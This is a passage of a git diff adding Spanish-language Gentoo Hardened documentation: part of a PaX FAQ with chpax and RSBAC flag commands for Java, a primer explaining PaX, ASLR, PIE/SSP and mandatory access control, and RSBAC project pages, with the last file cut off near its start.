+Si usa el toolchain de gentoo hardened, al compilar sus programas
+creará librerías ELF PIC sin relocalizaciones de texto. Sin embargo,
+ciertas librerías todavía contienen relocalizaciones de texto por
+varias circunstancias (a menudo son librerías que contienen código en
+ensamblador escrito incorrectamente).  Esto puede ser una
+vulnerabilidad ya que un atacante podría usar las librerías no-PIC
+para ejecutar shellcode. Las librerías no-PIC también son malas para
+el uso de memoria ya que no siguen el propósito de compartir código en
+memoria de las librerías compartidas.
+</p>
+
+<p>
+Para evitar este error y permitir que su programa se ejecute, deberá
+sacrificar cierta seguridad y permitir generación de código durante la
+ejecución para ese programa. La funcionalidad de PaX que le permite
+hacer eso se llama MPROTECT. Deberá desactivar MPROTECT en todos los
+ejecutables que usen librerías que no sean PIC.
+</p>
+
+<p>
+Para buscar en su sistema relocalizaciones de texto, puede usar el
+programa <c>scanelf</c> de <c>app-misc/pax-utils</c>. Si quiere más
+información sobre cómo usar el paquete <c>pax-utils</c> visite, por
+favor, la <uri link="/proj/en/hardened/pax-utils.xml"> Guia de Gentoo
+de las utilidades PaX</uri>.
+</p>
+
+<note>
+Versiones recientes de <c>sys-apps/portage</c>(>=2.0.53) buscan
+automáticamente relocalizaciones de texto y muestran un mensaje de
+aviso e incluso abortan el proceso merge dependiendo de las
+<c>FEATURES</c> que haya habilitado en su <path>/etc/make.conf</path>.
+</note>
+
+</body>
+</section>
+
+<section id="paxjava">
+<title>Desde que uso PaX no me funciona Java, ¿por qué?</title>
+<body>
+
+<p>
+Como parte de su diseño, la máquina virtual de Java crea una cantidad
+considerable de código durante la ejecución lo que no hace feliz a
+PaX. Hay dos formas de corregir está situación:
+</p>
+
+<pre caption="Instalar Chpax">
+# <i>emerge chpax</i>
+# <i>/etc/init.d/chpax start</i>
+</pre>
+
+<p>
+O si ya tiene <c>chpax</c> instalado, haga lo siguiente:
+</p>
+
+<pre caption="Opciones de Java de Chpax">
+# <i>chpax -pemrxs /opt/*-jdk-*/{jre,}/bin/*</i>
+</pre>
+
+<p>
+Las dos opciones modificarán ligeramente las cabeceras ELF para
+ajustar correctamente las banderas PaX en los binarios.
+</p>
+
+<note>
+Si usa PaX junto con otra implementación de seguridad como RSBAC,
+grsecurity, o SELinux deberá manejar PaX usando las configuraciones
+del núcleo provistas para cada implementación.
+</note>
+
+<p>
+En RSBAC, puede etiquetar todos los archivos Java con la siguiente
+orden:
+</p>
+
+<pre caption="Opciones PaX de Java con RSBAC">
+# <i>for i in $(ls /opt/*(jdk|sdk)*/{jre,}/bin/*);do attr_set_file_dir FILE $i
+pax_flags pmerxs;done</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas sobre grsecurity</title>
+<section id="grsecinformation">
+<title>¿Cuál es el sitio Web de grsecurity?</title>
+<body>
+
+<p>
+El sitio Web de grsecurity es: <uri>http://www.grsecurity.net</uri>.
+</p>
+</body>
+</section>
+
+<section id="grsecgentoodoc">
+<title>¿Qué documentación hay en Gentoo sobre Grsecurity?</title>
+<body>
+
+<p>
+La documentación más actualizada sobre grsecurity es la Guía
+Grsecurity v2 de Gentoo en
+<uri>http://www.gentoo.org/proj/es/hardened/grsecurity.xml</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="grsec2681">
+<title>¿Puedo usar Grsecurity con un núcleo 2.6.8, 2.6.8.1, o 2.6.9?</title>
+<body>
+
+<p>
+Debido a los significativos cambios introducidos en el núcleo 2.6.8,
+que rompieron el soporte para PaX, no hay parches ni de PaX ni de
+grsecurity disponibles para los núcleos 2.6.8, 2.6.8.1 y 2.6.9. Aunque
+existe un parche experimental para el núcleo 2.6.10, debería conocer
+la postura oficial del Equipo de PaX hacia los núcleos 2.6 y tenerla
+en consideración antes de usarlos: <uri>
+http://forums.grsecurity.net./viewtopic.php?t=968</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas sobre RSBAC</title>
+<section id="rsbacinformation">
+<title>¿Cuál es el sitio Web de RSBAC?</title>
+<body>
+
+<p>
+El sitio Web de RSBAC es: <uri>http://www.rsbac.org</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="rsbacgentoodoc">
+<title>¿Qué documentación hay en Gentoo sobre RSBAC?</title>
+<body>
+
+<p>
+Toda la documentación de Gentoo sobre RSBAC se encuentra en la página
+del subproyecto RSBAC en:
+<uri>http://www.gentoo.org/proj/en/hardened/rsbac/index.xml</uri>.
+</p>
+
+<p>
+Además, puede encontrar documentación sobre RSBAC que no pertenece a
+Gentoo en el manual de RSBAC en:
+<uri>http://www.rsbac.org/documentation/rsbac_handbook</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="rsbacinitrd">
+<title>¿Cómo uso un disco de inicio RAM con RSBAC?</title>
+<body>
+
+<p>
+Para usar un disco de inicio RAM (initrd) con un núcleo RSBAC se debe
+habilitar una opción del núcleo o si no, RSBAC tratará el initrd como
+si fuera el dispositivo raíz.
+</p>
+
+<pre caption="Opciones en menuconfig">
+General RSBAC options  --->
+    [*] Delayed init for initial ramdisk
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas sobre SELinux</title>
+<section id="selinuxfaq">
+<title>¿Dónde están las preguntas de uso frecuente relacionadas con
+SELinux?</title>
+<body>
+
+<p>
+Puede encontrar un PUF especifico de SELinux en:
+<uri>http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&amp;chap=3</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/es/hardened/index.xml b/xml/htdocs/proj/es/hardened/index.xml
new file mode 100644
index 00000000..ce1fcf64
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/index.xml
@@ -0,0 +1,157 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>hardened</name>
+  <longname>Gentoo Hardened</longname>
+
+  <description>
+  Gentoo Hardened (Endurecido) proporciona medidas de seguridad avanzada
+  a Gentoo Linux.
+  </description>
+
+  <longdescription>
+  <p>
+  Gentoo Hardened es un proyecto que supervisa la investigación,
+  implementación y mantenimiento de proyectos orientados a la seguridad
+  de Gentoo. Somos un equipo de individuos muy competentes dedicados a
+  proporcionar seguridad avanzada a Gentoo mediante algunos subproyectos.
+  </p>
+  </longdescription>
+
+  <goals>
+  <p>
+  El propósito de Gentoo Hardened es hacer a Gentoo viable para la alta
+  seguridad y para entornos que requieran alta estabilidad en los
+  servidores en producción. Este proyecto no es un proyecto desligado
+  de Gentoo; este proyecto lo constituyen un equipo de desarrolladores
+  de Gentoo que enfocan su trabajo en proporcionar soluciones de seguridad
+  y estabilidad a Gentoo. Éstas soluciones están disponibles en Gentoo una
+  vez han sido probadas en cuanto a seguridad y estabilidad por el equipo
+  Hardened.
+  </p>
+  </goals>
+
+  <dev description="SELinux">pebenito</dev>
+  <dev description="Cadena de herramientas PaX/Grsecurity de Hardened">
+  gengor</dev>
+  <dev description="Cadena de herramientas PaX/Grsecurity de Hardened">
+  zorry</dev>
+  <dev description="Cadena de herramientas PaX/Grsecurity de Hardened">
+  blueness</dev>
+  <dev description="Bastille">Battousai</dev>
+  <dev description="Enlace PPC arch team">nixnut</dev>
+
+  <subproject ref="/proj/en/hardened/selinux/index.xml"
+              inheritresources="yes" />
+  <subproject ref="/proj/en/hardened/rsbac/index.xml"
+              inheritresources="yes" />
+  <extraproject name="PaX/Grsecurity" lead="gengor">
+  Grsecurity es una solución completa de seguridad que proporciona
+  funciones tales como los sistemas MAC o RBAC, restricciones Chroot,
+  protección de modificación del espacio de direcciones (vía PaX),
+  facilidades de auditoría, características de aletorización,
+  restricciones en los enlaces para prevenir condiciones de carrera
+  en archivos, protecciones ipc y mucho más.
+  </extraproject>
+
+  <extraproject name="Cadena de herramientas de Hardened" lead="gengor">
+  Implementación transparente de
+  <uri link="http://pax.grsecurity.net/docs/aslr.txt">PaX</uri>
+  patrón de aleatorizacionesi del espcio de direcciones y
+  protecciones de ataques contra la pila usando objetos compartidos
+  y ejecutables ELF.
+  </extraproject>
+
+  <extraproject name="Hardened-Sources" lead="gengor">
+  Un núcleo que proporciona parches para subproyectos hardened y
+  parches orientados a la seguridad y a la estabilidad. Incluye
+  Grsecurity y SELinux.
+  </extraproject>
+
+  <extraproject name="Bastille" lead="Battousai">
+  Bastille es una aplicación interactiva que aconseja al usuario
+  sobre cómo asegurar su máquina. Se puede configurar para aconsejar
+  sobre otros subproyectos de Gentoo Hardened.
+  </extraproject>
+
+  <plannedproject name="Documentación de seguridad">
+  Mantener documentación acerca de buenas prácticas y medidas de
+  seguridad general como limitar procesos, establecer cuotas,
+  asegurar sistemas con kerberos, chroot, asegurar servicios, etc.
+  </plannedproject>
+
+  <resource link="http://www.gentoo.org/proj/en/hardened/primer.xml">
+  Introducción a Gentoo Hardened</resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml">
+  Preguntas de uso frecuente sobre Hardened</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/roadmap.xml">
+  Hoja de ruta de Hardened
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/hardenedxorg.xml">
+  Usando Xorg con Hardened
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/hardened-toolchain.xml">
+  Descripción técnica de la cadena de herramientas de Hardened
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml">
+  Una guía rápida de PaX y Gentoo Hardened
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/pax-utils.xml">
+  Utilidades PaX
+  </resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/grsecurity.xml">
+  Guía Rápida de Grsecurity2
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/capabilities.xml">
+  Listado de capacidades
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/pic-guide.xml">
+  Introducción a PIC (para principiantes)
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/pic-internals.xml">
+  Interioridades de PIC (nivel intermedio)
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/pic-fix-guide.xml">
+  Arreglando PIC (nivel avanzado)
+  </resource>
+  <resource
+  link="http://www.gentoo.org/proj/en/hardened/gnu-stack.xml">
+  Guía rápida de la pila GNU
+  </resource>
+
+  <extrachapter position="bottom">
+    <title>Quiero participar</title>
+      <section>
+        <body>
+          <p>
+          Para participar en el proyecto Gentoo Hardened primero
+          suscríbase a nuestra lista: <c>gentoo-hardened@gentoo.org</c>.
+          Entonces pregunte si hay planes para dar soporte a algo en lo
+          que esté interesado, proponga un nuevo subproyecto que
+          sea de su interés o escoja uno de los subproyectos existentes
+          para trabajar en él. Puede hablar con los desarrolladores y
+          usuarios en el canal de IRC <c>#gentoo-hardened</c> en
+          <c>irc.freenode.net</c> para más información o simplemente
+          para hablar del proyecto o de cualquier subproyecto. Aunque
+          no tenga las habilidades para ayudar en el desarrollo con
+          su trabajo, siempre necesitamos testers para mantener la
+          seguridad y estabilidad del producto. Todo el desarrollo,
+          testing y comentarios constructivos serán enormemente
+          apreciados.
+          </p>
+        </body>
+      </section>
+  </extrachapter>
+  <herd name="hardened" />
+</project>
diff --git a/xml/htdocs/proj/es/hardened/primer.xml b/xml/htdocs/proj/es/hardened/primer.xml
new file mode 100644
index 00000000..39ec3a91
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/primer.xml
@@ -0,0 +1,305 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/es/hardened/primer.xml" lang="es">
+<title>Introducción a Gentoo Hardened</title>
+
+<author title="Autor">
+  <mail link="method@gentoo.org">Joshua Brindle</mail>
+</author>
+<author title="Colaborador">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Editor">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Traductor">
+  <mail link="anpereir@gentoo.org">Andrés Pereira</mail>
+</author>
+
+<abstract>Un compendio acerca de Gentoo Hardened</abstract>
+<version>1.2</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+Esta guía está orientada a cualquier usuario que esté inseguro de las cosas que
+ofrece el proyecto Gentoo Hardened, de cómo usarlas juntas y cuáles son sus
+respectivos roles en el proyecto.
+</p>
+
+<p>
+El principio básico de seguridad que enfatizamos es el de capas de seguridad.
+Las capas son fundamentales en asegurar que no se vea comprometida la máquina de
+un usuario, y si lo está, minimizar los daños hechos. Mediante la combinación de
+una serie de tecnologías diferentes, no obstante, relacionadas a seguridad,
+hacemos que un atacante tenga que saltar pasos adicionales antes de que pueda
+ocurrir un incidente de compromiso. Por esta razón siempre recomendamos que
+decida cuáles son sus necesidades específicas y combine esas soluciones para
+proteger su sistema. Intentaremos explicar las opciones y cómo usarlas juntas en
+este documento.
+</p>
+
+<p> 
+Gentoo Hardened no es un producto o solución por si mismo, es meramente un
+proyecto formado por un grupo de desarrolladores que trabajan con un mismo 
+objetivo: seguridad muy proactiva. Los subproyectos contenidos en Gentoo 
+Hardened no están relacionados salvo por el hecho de que están alojados dentro
+del mismo proyecto. Puede pensar que esto es parecido a KDE o GNOME en el 
+sentido de que ambos son partes del proyecto de escritorio, y que los dos 
+tienen un objetivo común pero no están relacionados del todo uno con el otro.
+</p> 
+
+<note> 
+Pedir ayuda para instalar o tener soporte de su máquina 'Gentoo Hardened' no es
+claro y siempre debería aclarar que tiene un problema de SELinux, PIE/SSP,
+etcétera.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tecnologías Ofrecidas</title>
+<section>
+<title>PaX</title>
+<body>
+<p>
+En el corazón del proyecto se encuentra PaX. PaX es un parche para el núcleo que
+le permite protegerse contra desbordamientos de búfer y del heap y ataques
+similares. PaX es su primera línea de defensa.
+</p>
+
+<p>
+A causa del software malamente escrito siempre se está en riesgo de compromiso
+por la posibilidad de que ocurran desbordamientos de búfer y del heap. Estas
+dos vulnerabilidades son el resultado de límites no chequeados de la entrada que
+un usuario realiza en las aplicaciones. Cuando un atacante tiene la capacidad de
+generar una entrada en una aplicación tal que se inserte en la memoria pero sin
+ser chequeada, existe la posibilidad de un desbordamiento. Los lenguajes de
+programación de bajo nivel como C y C++ no protegen automáticamente de
+saturaciones (overruns) y el resultado final es que cuando el búfer se satura da
+la posibilidad de que el código ejecutable adyacente pueda ser sobreescrito con
+la entrada que viene del usuario. Esto normalmente provocaría que la aplicación
+se caiga en el caso que la entrada del usuario no sea entendida por la máquina
+y generalmente se manifiesta como un fallo de página (page fault) porque los
+caracteres que saturan el búfer en el área ejecutable serán tratados como 
+direcciones que probablemente nunca existirían. Este es el resultado más benigno
+de una saturación.
+</p>
+
+<p>
+Sin embargo, si el atacante sabe de una saturación tendrá la oportunidad de
+añadir shellcode a la entrada y en vez de causar que la aplicación se caiga,
+esta en cambio ejecutará las instrucciones dadas. Esto sucede debido a que el
+shellcode se trata de cómo se almacenan las instrucciones en memoria para ser
+ejecutadas por el procesador. En términos básicos, el shellcode consiste de
+'códigos de operación' (opcodes) que se traducen a rutinas en ensamblador. Los
+atacantes conocen estos códigos muy bien y pueden crear shellcode que les
+permita hacer lo que deseen, tal como ejecutar un shell root y asociarlo
+a un puerto. Cuando esto pasa, el usuario ni siquiera se dará cuenta de aquello
+porque la aplicación no se cae sino que empieza ejecutando el código
+arbitrario de los atacantes permitiéndoles hacer lo que se les plazca. PaX
+mitiga este problema colocando de forma aleatoria cada función y búfer de
+una aplicación en memoria. Esto es lo que se denomina ASLR (siglas en inglés de
+Address Space Layout Randomization, Aleatorización de Distribución del Espacio de
+Memoria) y es la base de PaX. Al tener offsets aleatorios para las funciones y
+búferes, el atacante es incapaz de generar una entrada maliciosa que garantice
+que el shellcode será ejecutado (y lo hace muy difícil puesto que la aplicación
+probablemente se caerá y se reiniciará con nuevos offsets aleatorios). ASLR es
+mucho más útil cuando se usa en conjunto con código PIE (Position Independent
+Executable, Ejecutable Independiente de la Posición) pero también funciona con
+el código ejecutable estándar, con un sobrecosto (overhead).
+</p>
+
+<p>
+PaX también ofrece a los segmentos ejecutables la capacidad de ser ejecutables y
+no modificables, de igual manera a que los segmentos modificables puedan ser
+modificables y no ejecutables. Esto es denominado pageexec. En procesadores de
+la arquitectura x86 no hay forma de hacer esto a nivel de hardware ya que los
+diseñadores de x86 juntaron las banderas de memoria para leer y ejecutar y así
+ahorrar espacio. Debido a que una página puede ser escrita o leída y ejecutada,
+no es útil ajustar los búferes como no ejecutables porque no podrían seguir
+siendo leídos. Así que en x86 PaX emula este comportamiento a nivel de software,
+el cual introduce un sobrecosto pero es muy útil para la seguridad.
+</p>
+</body>
+</section>
+
+<section>
+<title>PIE/SSP</title>
+<body>
+
+<p>
+Por motivos de claridad, mientras que PIE y SSP generalmente son agrupados en la
+misma discusión porque ambos son parte del toolchain de Hardened, ciertamente
+son tecnologías diferentes con propósitos distintos. PIE por si mismo no provee
+seguridad adicional pero cuando se combina con PaX en el núcleo sí provee una
+herramienta poderosa contra los desbordamientos. SSP está implementado
+íntegramente en el espacio del usuario (userland) y protege contra ataques de
+quebrar la pila (stack smashing attacks) sin la ayuda del núcleo. Al estar
+implementados separadamente y hacen cosas distintas, ciertamente son dos capas
+diferentes de protección, por ejemplo, uno ataque denominado ret2libc puede 
+esquivar a PaX pero sería bloqueado por SSP.
+</p>
+
+<p>
+Hemos avanzado a grandes pasos para proveer una forma fácil de
+construir la totalidad de las herramientas del espacio del usuario con código
+PIE para aprovecharse de ASLR con muy poco sobrecosto. Adicionalmente a PIE,
+nuestro toolchain Hardened también ofrece SSP (Stack Smashing Protection,
+Protección contra el Quiebre de la Pila) mediante la ubicación de un área
+externa de los búferes y colocando una marca especial aleatoria y criptográfica.
+Esto permite a SSP chequear si es que la marca fue sobreescrita luego de
+cualquier escritura al búfer y le permite terminar abruptamente la aplicación 
+en caso de haber sido sobreescrita dicha marca. El toolchain de Hardened da
+a los usuarios un espacio PIE/SSP de la forma más fácil posible. Las fases
+(stages) marcadas con 'pie-ssp' son fases estándares construidas con PIE y SSP,
+no incluyen controles de acceso SELinux/RSBAC/grsecurity. 
+</p>
+</body>
+</section>
+
+<section>
+<title>Control de Acceso Obligatorio</title>
+<body>
+
+<p>
+Aunque PaX es la primera capa de protección, quizás incluso la segunda o
+tercera si tiene cortafuegos y/o detectores de intrusión en la red, también se
+recomienda que use control de acceso para dar seguridad adicional a su
+sistema. Es muy importante que note que el control de acceso como su
+<b>última</b> capa de protección. El control de acceso es muy útil para evitar
+el paso a los atacantes que ya ingresaron a su sistema, o a usuarios locales.
+Actualmente Gentoo Hardened soporta 3 soluciones de control de acceso: SELinux,
+grsecurity y RSBAC. SELinux requiere de cambios en el espacio del usuario lo que
+significa que construimos fases (stages) especiales para SELinux y que no deben
+ser confundidas con las fases pie-ssp. Sin embargo, ya que es recomendado el
+uso de fases pie-ssp con SELinux, también se ofrecen fases selinux-pie-ssp.
+</p>
+
+<p>
+Si desea usar grsecurity no tiene de qué preocuparse acerca de las fases ya que
+no requiere de cambios en el espacio del usuario. Simplemente use las fases
+pie-ssp y una vez que esté listo para construir el núcleo, use uno que tenga
+activado grsecurity tal como las fuentes de hardened-sources. Una vez que
+su sistema esté andando puede usar el modo de aprendizaje de grsecurity para
+construir las ACLs (Lista de Control de Acceso) para su sistema.
+</p>
+
+<p>
+Similar a grsecurity, RSBAC no requiere de cambio alguno en el espacio del
+usuario pero puede ser instalado luego de configurar una instalación normal de
+Gentoo. RSBAC es soportado por el núcleo rsbac-sources. Una vez que su sistema
+está corriendo puede elegir los distintos modelos de control de acceso ofrecidos
+por RSBAC pues todos son módulos. La documentación de Gentoo RSBAC lista los
+varios modelos ofrecidos y provee más información acerca de cada uno de ellos.
+</p>
+
+<p>
+Hasta ahora hemos hablado acerca de las dos capas que ofrecemos, tenemos
+intenciones de ofrecer más y lo haremos en el futuro. Ejemplo de capas
+adicionales son detección/prevención de intrusión, que estarán ubicadas
+primero, incluso antes de PaX. Discos y memoria de intercambio cifrados
+ofrecen protección contra las violaciones de seguridad "física". Auditar le
+permitiría ver y reaccionar a los riesgos antes de que se conviertan en un
+compromiso. El tráfico de red cifrado y autenticación fuerte también son capas
+que son muy bien soportadas en las instalaciones de Linux y probablemente no nos
+concentraremos en aquello.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Recursos</title> 
+<section>
+<body>
+
+<table>
+<tr>
+  <th>
+    Proyecto
+  </th>
+  <th>
+    Página Web del Proyecto
+  </th>
+  <th>
+    Página del Proyecto en Gentoo
+  </th>
+</tr>
+<tr>
+  <ti>
+    PaX
+  </ti>
+  <ti>
+    <uri>http://pax.grsecurity.net</uri>
+  </ti>
+  <ti>
+    <uri>http://hardened.gentoo.org/pax-quickstart.xml</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    PIE
+  </ti>
+  <ti>
+    No Disponible
+  </ti>
+  <ti>
+    No Disponible
+  </ti>
+</tr>
+<tr>
+  <ti>
+    SSP
+  </ti>
+  <ti>
+    <uri>http://www.trl.ibm.com/projects/security/ssp/</uri>
+  </ti>
+  <ti>
+    No Disponible
+  </ti>
+</tr>
+<tr>
+  <ti>
+    SELinux
+  </ti>
+  <ti>
+    <uri>http://www.nsa.gov/selinux</uri>
+  </ti>
+  <ti>
+    <uri>http://hardened.gentoo.org/selinux</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    grsecurity
+  </ti>
+  <ti>
+    <uri>http://www.grsecurity.net</uri>
+  </ti>
+  <ti>
+    <uri>http://hardened.gentoo.org/grsecurity.xml</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    RSBAC
+  </ti>
+  <ti>
+    <uri>http://www.rsbac.org</uri>
+  </ti>
+  <ti>
+    <uri>http://hardened.gentoo.org/rsbac</uri>
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/hardened/rsbac/index.xml b/xml/htdocs/proj/es/hardened/rsbac/index.xml
new file mode 100644
index 00000000..2756c037
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/rsbac/index.xml
@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>RSBAC</name>
+<longname>Rule Set Based Access Control</longname>
+
+<description>
+RSBAC es un sistema de seguridad de Control de Acceso Obligatorio
+basado en la infraestructura lógica GFAC. Incluye modelos estándar de
+seguridad como Compatibilidad con Roles, Listas de Control de Acceso y
+Control de Acceso Obligatorio. RSBAC impone reglas de control de
+acceso en su sistema operativo.
+</description>
+
+<longdescription>
+<p>
+Este proyecto gestiona el soporte RSBAC en Gentoo. Esto incluye
+proporcionar núcleos con soporte RSBAC (ligeramente basados en las
+hardened-sources) y utilidades de administración para manejar y
+escribir políticas robustas específicas para Gentoo. RSBAC funciona en
+muchas arquitecturas diferentes con núcleos Linux 2.4 y 2.6.
+</p>
+</longdescription>
+
+<goals>
+<p>
+Este proyecto pretende poner RSBAC a disposición de más usuarios,
+mejorarlo y mejorar su integración con Gentoo Linux. Estamos
+desarrollando una política para el sistema base y los demonios
+(servicios) más comunes así como otros programas muy
+usados. Actualmente nos enfocamos más a los servidores, pero las
+máquinas de escritorio también serán soportadas en el futuro. La
+herramienta necesaria para las políticas todavía está siendo
+desarrollada.
+</p>
+</goals>
+
+<extrachapter position="goals">
+<title>¿Qué es RSBAC?</title>
+<section>
+<body>
+
+<p>
+<uri link="http://www.rsbac.org/">RSBAC</uri> son las siglas de Rule
+Set Based Access Control (Control de Acceso Basado en Reglas), RSBAC
+es una extensión de seguridad de código abierto (GPL) del núcleo
+Linux. Su principal concepto es la modularidad. Usa <uri
+link="http://rsbac.org/documentation:different_models">varios</uri>
+modelos de seguridad bastante conocidos y otros nuevos, incluyendo
+MAC, ACLs, PaX y RC entre otros. RSBAC toma control sobre usuarios
+individuales y accesos de programas de red usando cualquier
+combinación de los posibles modelos de seguridad. Al ser modular,
+también es extensible: usted puede escribir sus propios modelos para
+su uso. Finalmente, RSBAC proporciona un excelente soporte para los
+núcleos estables más recientes y núcleos de desarrollo Linux. Está en
+producción desde enero del 2000 y ha probado ser muy estable. Le
+aconsejamos que lea la más detallada <uri
+link="http://www.gentoo.org/proj/en/hardened/rsbac/overview.xml">vista
+general</uri>.
+</p>
+
+<p>
+RSBAC no es una solución de seguridad completa por si mismo, sólo
+proporciona la posibilidad de aplicar modelos de
+seguridad. Afortunadamente, funciona bien con otros proyectos de
+Hardened ofreciéndole un solución completa.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<dev role="líder" description="Política base, documentación, x86">kang</dev>
+
+<extraproject name="x86" lead="kang">
+Soporte para la arquitectura x86.
+</extraproject>
+
+<extraproject name="Documentación" lead="kang">
+Documentación completa del proyecto RSBAC.
+</extraproject>
+
+<plannedproject name="Política base">
+Política RSBAC para el sistema base, incluyendo usuarios,
+administradores y demonios en el perfil de sistema.
+</plannedproject>
+
+<plannedproject name="Escritorio">
+Soporte RSBAC para máquinas de escritorio.
+</plannedproject>
+
+<resource
+link="http://www.gentoo.org/proj/en/hardened/rsbac/overview.xml">Vista
+general de RSBAC</resource >
+
+<resource
+link="http://www.gentoo.org/proj/en/hardened/rsbac/quickstart.xml">Guía de
+inicio rápido de RSBAC</resource>
+
+<extrachapter position="resources">
+<title>¿Cómo uso esto?</title>
+<section>
+<body>
+
+<p>
+Se puede instalar RSBAC en un sistema siguiendo la guía de arriba para
+su arquitectura. Si no hay una guía de instalación para su
+arquitectura puede instalarlo siguiendo el <uri
+link="http://www.gentoo.org/doc/es/handbook/index.xml">Manual de
+Gentoo</uri>.  Cuando el sistema esté instalado páselo a RSBAC
+siguiendo la Guía de inicio rápido de RSBAC. Se aconseja usar el
+perfil hardened o la bandera USE "hardened pie" durante esta
+instalación.
+</p>
+
+<p>
+Se puede pasar una instalación de Gentoo preexistente a RSBAC
+siguiendo la Guía de inicio rápido.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Quiero participar</title>
+<section>
+<body>
+
+<p>
+Para participar en el proyecto RSBAC primero debe suscribirse a
+nuestra lista de correo <c>gentoo-hardened@gentoo.org</c>. Entonces
+pregunte si hay planes para dar soporte a algo en lo que esté
+interesado, proponga un nuevo subproyecto que de su interés o escoja
+uno de los subproyectos existentes para trabajar en él. Para más
+información o para hablar del proyecto y sus subproyectos puede
+encontrar a los desarrolladores y usuarios en el canal de IRC
+<c>#gentoo-hardened</c> en <c>irc.freenode.net</c>. Aunque no tenga
+las habilidades para ayudar en el desarrollo con su trabajo, siempre
+necesitamos testers para mantener la seguridad y estabilidad del
+producto. Todo el desarrollo, testing y comentarios constructivos son
+muy apreciados.
+</p>
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/es/hardened/rsbac/overview.xml b/xml/htdocs/proj/es/hardened/rsbac/overview.xml
new file mode 100644
index 00000000..6c37e28f
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/rsbac/overview.xml
@@ -0,0 +1,304 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/hardened/rsbac/overview.xml,v 1.1 2007/03/27 23:43:46 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/es/hardened/rsbac/overview.xml" lang="es">
+
+<title>Vista general del Control de Acceso Basado en Reglas (RSBAC)
+para Linux</title>
+
+<author title="Autor">
+  <mail link="ao@rsbac.org">Amon Ott</mail>
+</author>
+<author title="Editor">
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author>
+<author title="Editor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Traductor">
+  <mail link="jgascon@gmail.com">Jaime Gascón Romero</mail>
+</author>
+
+<abstract>
+Este documento le proporcionará una visión general sobre el sistema de
+control de acceso RSBAC.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-10-11</date>
+
+<chapter>
+<title>Características principales</title>
+
+<section>
+<body>
+
+<ul>
+  <li>Extensión de seguridad para el núcleo Linux libre y de código
+  abierto (GPL)</li>
+  <li>No depende de ningún gobierno o gran compañía</li>
+  <li>Modelos de seguridad tanto conocidos como nuevos incluyendo MAC, ACL y
+  RC</li>
+  <li>Control sobre usuarios individuales y accesos de programas de red</li>
+  <li>Es posible cualquier combinación de modelos</li>
+  <li>Fácilmente extensible: puede escribir sus propios modelos y
+  registrarlos en caliente</li>
+  <li>Soporta todos los núcleos actuales</li>
+  <li>Estable para su uso en producción</li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>¿Qué es RSBAC?</title>
+<section>
+<body>
+
+<p>
+RSBAC es una flexible, potente y rápida estructura de control de
+acceso de código abierto para núcleos Linux actuales, que lleva en
+producción estable desde enero del 2000 (versión 1.0.9a). Todo el
+desarrollo se ha llevado a cabo de forma independiente y no se ha
+usado ningún código de control de acceso previo.
+</p>
+
+<p>
